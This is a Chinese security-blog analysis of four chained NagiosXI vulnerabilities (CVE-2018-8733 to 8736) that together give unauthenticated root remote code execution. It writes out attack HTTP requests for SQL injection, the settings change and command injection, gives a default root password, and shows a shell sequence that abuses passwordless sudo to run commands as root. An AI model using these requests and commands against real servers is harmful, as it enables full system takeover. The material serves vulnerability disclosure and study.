CVE-2018-873X 深入分析NagiosXI漏洞链

  • A+
所属分类:网络安全文章

在NagiosXI中,我们发现了四个漏洞,这本不足为奇,然而,如果将它们链接在一起的话,却可以构造出一个root级别RCE漏洞,具体利用代码可在此处找到。换句话说,漏洞链接技术可以提升单个漏洞的战斗力,从而“培育出”像root级别的RCE这样极其危险的漏洞。如果读者当前运行的NagiosXI的版本号小于等于5.4.12的话,请马上进行升级。

CVE-2018-873X 深入分析NagiosXI漏洞链

在对应用程序的漏洞进行安全评估的过程中,有时候需要在安全报告中评估漏洞的严重程度,比如“由于只能通过y漏洞进行x操作,所以该漏洞很可能无需进行修复”。实际上,这种说法很可能会低估漏洞的危害性,部分原因是它忽视了漏洞链接技术的影响。

漏洞链接就是将多个漏洞组合使用,从而实现一个超越链中任何单个漏洞的危害程度的高危漏洞的过程。这里提供了一个关于漏洞链接技术的优秀示例。此外,Offensive Security提供的AWAE培训基本上就是一个漏洞链接方面的课程。另一个漏洞链方面的例子,就是下文将要详细讲解的NagiosXI root级别RCE漏洞。

这里的Nagios XI漏洞是通过链接四个漏洞来实现的:

  1. CVE-2018-8734 —— SQL注入漏洞
  2. CVE-2018-8733 —— 认证绕过漏洞
  3. CVE-2018-8735 —— 命令注入漏洞
  4. CVE-2018-8736 —— 特权提升漏洞

首先需要说明的是,这里涉及的各个漏洞都是相互独立的。

CVE-2018-8734 —— SQL注入(未认证)
当发送未认证的html GET /nagiosql/admin/helpedit.php请求时,会返回一个含有302响应码的应答,该代码会将其重定向回/nagiosql/index.php。在浏览器中,Web应用程序可以将未认证的会话重定向回来,通过HTTP Auth方式进行认证,这没有什么不正常的,但是通过拦截Web代理并查看响应内容,我们发现其中含有一个适合用于做突破口的表单。快速浏览该表单后,我们发现如下所示的表单提交POST,它是提交给helpit.php的,其中包含一个易受攻击的selInfoKey1参数。

  1. POST /nagiosql/admin/helpedit.php HTTP/1.1
  2. Host: <nagiosxi_host>
  3. Content-Type: application/x-www-form-urlencoded
  4. selInfoKey1=SQLI_PAYLOAD&hidKey1=common&selInfoKey2=&hidKey2=free_variables_name&selInfoVersion=&hidVersion=&taContent=&modus=0

在对数据库日志进行分析后,我们发现,参数selInfoKey1存在SQLi漏洞。除此之外,我们还发现,执行这个可注入查询的数据库用户(nagiosql)没有足够的权限,所以无法完成一些重要的攻击任务,例如添加用户、转储密码哈希值或枚举会话。

这是一个未认证的SQL注入漏洞!
数据库用户没有足够的权限来执行我们感兴趣的操作。

CVE-2018-8733 —— 认证绕过漏洞

这个漏洞的CVE描述可能是误导性的,因为我们无法利用这个漏洞全面绕过身份验证。相反,与前面讨论的CVE的情况类似,即对````.html

  1. <nagiosxi_host> /nagiosql/admin/settings.php</nagiosxi_host>
  1. ```html
  2. POST /nagiosql/admin/settings.php HTTP/1.1
  3. Host: <nagiosxi_host>
  4. Content-Type: application/x-www-form-urlencoded
  5. txtRootPath=nagiosql%2F&txtBasePath=%2Fvar%2Fwww%2Fhtml%2Fnagiosql%2F&selProtocol=http&txtTempdir=%2Ftmp&selLanguage=en_GB&txtEncoding=utf-8&txtDBserver=localhost&txtDBport=3306&txtDBname=nagiosql&txtDBuser=nagiosql&txtDBpass=n%40gweb&txtLogoff=3600&txtLines=15&selSeldisable=1

在这里,我们关注的不是注入漏洞,相反,对我们来说重要的是能够设置数据库用户帐户。如果我们可以使用该表单为nagiosql db用户获取更多权限,那么就意味着以前的SQLi攻击所无权访问的数据库内容,现在就有可能访问了。事实证明,我们的确可以做到这一点;设备的ssh凭证默认设置为root:nagiosxi,并且这些凭证也适用于具有root权限的数据库用户。

我们可以修改数据库用户帐户!
我们可以破坏应用程序配置从而导致拒绝服务(DoS)攻击!
如果单独利用这个漏洞的话,最多只能发动DoS攻击。

CVE-2018-8735 —— 命令注入(已认证)

这个命令注入漏洞主要是通过分析应用程序.php文件源代码而发现的。这对我们很有用,一则受它影响的NagiosXI版本范围广,二则它是以用户'nagiosxi'(而不是'apache')的身份来运行的。经过一番折腾之后,我们终于找到了一个含有安全漏洞的POST请求,准确来说,它容易受到已经通过身份验证的命令注入攻击的影响:

  1. POST /nagiosxi/backend/index.php HTTP/1.1
  2. Host: 10.20.1.179
  3. Content-Type: application/x-www-form-urlencoded
  4. Cookie: nagiosxi=eb8pa9098grmgummu2pnofq3f5
  5. Content-Length: 66
  6. cmd=submitcommand&command=1111&command_data=$(your_command_here)

这些POST请求会收到一些应答,因此,不建议直接进行命令注入:

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <result>
  3. <code>0</code>
  4. <message>OK</message>
  5. <command_id>12</command_id>
  6. </result>

我们进行的是白盒测试,所以可以直接将文件放到/tmp目录,然后进行相应的验证:

  1. [root@nagiosxi_host tmp]# ls -l
  2. ...
  3. -rw-r--r--  1 nagios nagios       0 Apr 13 02:21 testing
  4. ...

我们可以注入命令!
已通过身份验证,并且需要管理员级别的授权。

CVE-2018-8736 —— 本地权限提升

最后,我们需要寻找一些本地权限提升漏洞,原因吗,不说大家也知道的。一般来说,在linux环境下查找本地权限提升漏洞时,首当其冲的就是sudoers文件。以下内容摘自Nagios/etc/sudoers文件:

  1. ...
  2. NAGIOSXI ALL = NOPASSWD:/usr/local/nagiosxi/html/includes/components/profile/getprofile.sh
  3. NAGIOSXI ALL = NOPASSWD:/usr/local/nagiosxi/scripts/upgrade_to_latest.sh
  4. NAGIOSXI ALL = NOPASSWD:/usr/local/nagiosxi/scripts/change_timezone.sh
  5. NAGIOSXI ALL = NOPASSWD:/usr/local/nagiosxi/scripts/manage_services.sh *
  6. NAGIOSXI ALL = NOPASSWD:/usr/local/nagiosxi/scripts/reset_config_perms.sh
  7. NAGIOSXI ALL = NOPASSWD:/usr/local/nagiosxi/scripts/backup_xi.sh *
  8. ...

这正是我们感兴趣的,特别是,如果这些文件的文件权限允许对nagiosxi用户执行写操作的话,则可以:

  1. [root@nagiosxi_host ]# ls -l /usr/local/nagiosxi/scripts/
  2. ...
  3. -rwxr-xr-x 1 nagios nagios   1664 Dec 28  2016 change_timezone.sh
  4. -rwxr-xr-x 1 nagios nagios   2303 Dec 28  2016 manage_services.sh
  5. -rwxr-xr-x 1 nagios nagios   2681 Dec 28  2016 upgrade_to_latest.sh
  6. -rwxr-xr-x 1 nagios nagios   1010 Dec 28  2016 reset_config_perms.sh
  7. -rwxr-xr-x 1 nagios nagios   5673 Dec 28  2016 backup_xi.sh
  8. ...

所以,这就是一个本地权限提升的例子。为此,只需将nagiosxi用户需要以root用户身份执行的所有命令都放到出现在sudoers文件中的某个脚本中,然后通过无需密码的sudo命令来调用该脚本即可。

这是本地权限提升漏洞!用户nagiosxi可以非常轻松地升级为root权限。
这是本地权限提升漏洞,并且任何以nagiosxi身份执行命令的人都会变身为系统管理用户。

漏洞组合达到攻击效果

对于上面这几个漏洞,如果单兵作战的话,是掀不起什么大风大浪的:虽然可以修改一些未认证的应用程序参数,但这顶多可以用来拿下应用程序本身;可以利用SQLi漏洞,却无法搞到nagiosxi认证数据;虽然可以注入命令,但这需要已认证的管理会话;虽然有本地权限提升漏洞,但需要通过命令行才能访问应用程序服务器。然而,如果将这些漏洞组合使用的话,就能得到一个无需身份认证的、具有root权限的远程命令执行漏洞!

如果要了解相关细节的话,最好直接查看漏洞利用代码;但是现在,我们先来了解一下一般步骤:

第0步:检查nagios的版本 —— 上面介绍的所有漏洞都适用于NagiosXI的5.2.6至5.4版本;此外,我们可以从/nagiosxi/login.php中解析相应的版本字符串。

第1步:利用CVE-2018-8733漏洞将数据库用户改为root用户 —— 我们可以将nagiosql数据库用户改为root用户,以授予其足够的权限来访问nagiosxi的认证数据。

第2步:利用SQLi访问API密钥 —— 现在,数据库用户已经拥有了足够的权限,我们使用CVE-2018-8734漏洞执行SQL注入,以返回系统中所有唯一的API密钥。该应用程序似乎将一个管理API密钥存储到了数据库中,因此这是一个非常可靠的选择。

第3步:使用API密钥添加管理用户 —— 如果您拥有适当的API密钥的话,那么这就称不上漏洞了,只是一个可用于添加管理用户的API而已。

第4步:登录 —— 既然已经拥有系统的管理账户,自然就可以顺利登录系统了。现在,我们已经有效地绕过了针对应用程序的nagiosxi部分的身份验证了。

第5步:注入命令+提升权限 —— 这里,我们通过CVE-2018-8735(命令注入漏洞)来执行命令。一旦在应用服务器上获得了一个会话,就可以建立一个低权限的反向shell,然后再提升权限即可。但是,就我们的PoC而言,由于已将所需的命令放入临时的权限提升脚本中,所以只需执行这个脚本,上述所有工作就可以一气呵成了:

  1. cp /usr/local/nagiosxi/scripts/reset_config_perms.sh /usr/local/nagiosxi/scripts/reset_config_perms.sh.bak &&
  2. echo "{your_command_here}" > /usr/local/nagiosxi/scripts/reset_config_perms.sh &&
  3. sudo /usr/local/nagiosxi/scripts/reset_config_perms.sh &&
  4. mv /usr/local/nagiosxi/scripts/reset_config_perms.sh.bak /usr/local/nagiosxi/scripts/reset_config_perms.sh

这个脚本通过将所需命令放入/usr/local/nagiosxi/scripts/reset_config_perms.sh文件,然后使用无需密码的sudo命令调用该脚本来利用CVE-2018-8736漏洞。其中,第一行和最后一行命令分别用于备份和恢复原始脚本。

  • 服务器购买微信群
  • 阿里云&腾讯云&国外VPS
  • weinxin
  • 服务器购买QQ群
  • 阿里云&腾讯云&国外VPS
  • weinxin
CE安全网

发表评论

您必须登录才能发表评论!